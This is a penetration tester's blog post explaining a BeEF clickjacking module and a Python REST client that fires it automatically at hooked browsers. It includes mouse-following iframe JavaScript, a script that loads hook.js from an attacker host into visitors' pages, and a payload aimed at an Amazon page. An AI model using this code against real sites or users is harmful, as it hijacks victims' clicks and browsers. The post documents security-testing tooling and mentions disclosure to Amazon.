BeEf Clickjacking Module and using the REST API to Automate Attacks

December 6, 2012

I’ve chatted about clickjacking a few times in the past. It’s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn’t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you’re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.

A couple weeks ago my wife and I submitted a clickjacking module to BeEf (now accepted into the main branch). This is a post about that. First I’m going to talk about how it works, and then about how to use it.

Reliably Following the Mouse

One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There’s other mouse following code available, but to my knowledge, none of the previously written snippets have worked as reliably.

The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it’s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.

$j("body").mousemove(function(e) { $j(outerObj).css('top', e.pageY); $j(outerObj).css('left', e.pageX); });

The “body” turns out to be important, since IE didn’t recognize “document” – so if you have custom attacker pages watch out for that.

Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.

Multiple Clicks and Events

It’s a bit of a challenge on how to detect when a user clicks over a domain we don’t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.

$j(btnObj).focus(); $j(btnObj).focusout(function() { cjLog("Iframe clicked"); iframeClicked(); });

When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There’s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn’t work.

function iframeClicked(){ clicked++; var jsfunc = ''; jsfunc = clicks[clicked-1].js; innerPos.top = clicks[clicked].posTop; innerPos.left = clicks[clicked].posLeft; eval(unescape(jsfunc)); setTimeout(function(){ updateIframePosition(); }, <%= @clickDelay %>); setTimeout(function(){ var btnSelector = "#" + elems.btn; var btnObj = $j(btnSelector); $j(btnObj).focus(); //check if there are any more actions to perform try { if (isNaN(parseInt(clicks[clicked].posTop))) { removeAll(elems); throw "No more clicks."; } } catch(e) { cjLog(e); } }, 200); }

Using the BEEF REST API to Automatically Attack Victims when they Visit our Page

There are a few reasons we chose BeEf to write this. First, there’s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn’t seem realistic. We want the attack to begin right when someone visits our page.

Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I’m surprised it isn’t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules – not just the clickjacking.

My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client

<!-- BeEF hook call --> <script type="text/javascript"> var commandModuleStr = '<script src="http://192.168.138.129:3000/hook.js" type="text/javascript"><\/script>'; document.write(commandModuleStr); </script> ... <!-- <?php system("python /var/www/beef/beefrest.py & > /tmp/myscriptlog.txt"); ?> -->

The REST client script grabs the latest session and sends an attack. For example, to send our clickjacking attack

Update: This could be better by making use of the autorun call, which I didn’t know existed at the time. Here: http://blog.beefproject.com/2012/08/happy-hooking-beef-autorun-and-twitter.html, and http://blog.beefproject.com/2012/12/beef-shank-beef-mitm-for-pentests.html

#!/usr/bin/python import json import urllib import urllib2 import time class beefClickjack: def __init__(self, authkey, host): self.authkey = authkey self.host = host #returns all online hooked browsers #TODO exception handling def getHookedBrowsers(self): f = urllib2.urlopen(self.host + "/api/hooks?token=" + self.authkey) data = json.loads(f.read()) hooked = data["hooked-browsers"]["online"] return hooked #returns most recent hooked browser #there is a bit of a race condition, but in reality it shouldn't matter def getLastHooked(self): hooked = self.getHookedBrowsers() max_hook = sorted(hooked)[-1] print "=============" print hooked print "=============" sessionid = hooked[max_hook]["session"] return (sessionid, max_hook) #send clickjacking payload to most recently hooked browser #can get with /api/modules?token=.... def sendClickjack(self, data): sessionId = self.getLastHooked()[0] url = self.host + "api/modules/" + sessionId + "/22?token=" + self.authkey print url req = urllib2.Request(url, data) req.add_header("Content-Type", "application/json; charset=UTF-8") f = urllib2.urlopen(req) print f.read() #Below will need to be customized if __name__ == "__main__": time.sleep(1) b = beefClickjack( authkey="ec808711566a1e2b85bc6c692681c946d97f0ba2", host="http://127.0.0.1:3000/" ) data = { "iFrameSrc" : "http://www.amazon.com/gp/aw/d/0312546343/", "iFrameSecurityZone" : "off", "iFrameSandbox" : "off", "iFrameVisibility" : "on", "clickDelay" : "300", "iFrameWidth" :" 30", "iFrameHeight" :"15", "clickaction_1" : "$(\"#overlay1\").data(\"overlay\").close();", "iFrameLeft_1" : "990", "iFrameTop_1" : "180", "iFrameLeft_2" : "-", "iFrameTop_2" : "-" } b.sendClickjack(json.dumps(data))

Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.

Real World Usage/Examples

In September 2012 http://www.shodanhq.com/research/infodisc performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.

The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles… most everything where you perform actions. When we first wrote this module our first test used multiple clicks against Google, which I believe still works today. Below I’ll outline a few simpler use cases for the module.

Amazon – Adding an Item to the Wishlist

One XSS I heard about recently was in the wishlist. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn’t vulnerable to CSRF). The REST API source above is for Amazon:

One interesting note that you’ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the “attack”. I reported this to Amazon and they’ve since added x-frame-options to the mobile pages.

WordPress

The goal of this “attack” is to get someone logged into wordpress.com to like a post that I’ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I’ll just use BeEf’s web interface rather than the REST api.

Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload.

Conclusions

I hope this is my last post about clickjacking ever. :)